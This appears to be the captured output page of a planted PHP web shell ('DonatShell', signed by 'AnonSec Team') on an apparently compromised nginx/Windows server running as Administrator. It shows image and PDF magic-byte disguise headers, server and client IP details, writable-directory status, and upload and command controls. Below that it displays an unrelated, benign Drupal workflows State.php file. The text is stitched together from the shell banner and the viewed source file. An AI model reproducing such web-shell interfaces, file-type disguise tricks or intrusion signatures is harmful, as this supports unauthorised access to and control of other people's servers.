GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/workflows/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/workflows/src//State.php
<?php

namespace Drupal\workflows;

/**
 * A value object representing a workflow state.
 *
 * @internal
 *   The workflow system is currently experimental and should only be leveraged
 *   by experimental modules and development releases of contributed modules.
 */
class State implements StateInterface {

  /**
   * The workflow the state is attached to.
   *
   * @var \Drupal\workflows\WorkflowInterface
   */
  protected $workflow;

  /**
   * The state's ID.
   *
   * @var string
   */
  protected $id;

  /**
   * The state's label.
   *
   * @var string
   */
  protected $label;

  /**
   * The state's weight.
   *
   * @var int
   */
  protected $weight;

  /**
   * State constructor.
   *
   * @param \Drupal\workflows\WorkflowInterface $workflow
   *   The workflow the state is attached to.
   * @param string $id
   *   The state's ID.
   * @param string $label
   *   The state's label.
   * @param int $weight
   *   The state's weight.
   */
  public function __construct(WorkflowInterface $workflow, $id, $label, $weight = 0) {
    $this->workflow = $workflow;
    $this->id = $id;
    $this->label = $label;
    $this->weight = $weight;
  }

  /**
   * {@inheritdoc}
   */
  public function id() {
    return $this->id;
  }

  /**
   * {@inheritdoc}
   */
  public function label() {
    return $this->label;
  }

  /**
   * {@inheritdoc}
   */
  public function weight() {
    return $this->weight;
  }

  /**
   * {@inheritdoc}
   */
  public function canTransitionTo($to_state_id) {
    return $this->workflow->hasTransitionFromStateToState($this->id, $to_state_id);
  }

  /**
   * {@inheritdoc}
   */
  public function getTransitionTo($to_state_id) {
    if (!$this->canTransitionTo($to_state_id)) {
      throw new \InvalidArgumentException("Can not transition to '$to_state_id' state");
    }
    return $this->workflow->getTransitionFromStateToState($this->id(), $to_state_id);
  }

  /**
   * {@inheritdoc}
   */
  public function getTransitions() {
    return $this->workflow->getTransitionsForState($this->id);
  }

  /**
   * Helper method to convert a list of states to labels
   *
   * @param \Drupal\workflows\StateInterface $state
   *
   * @return string
   *   The label of the state.
   */
  public static function labelCallback(StateInterface $state) {
    return $state->label();
  }

}

Anon7 - 2022
AnonSec Team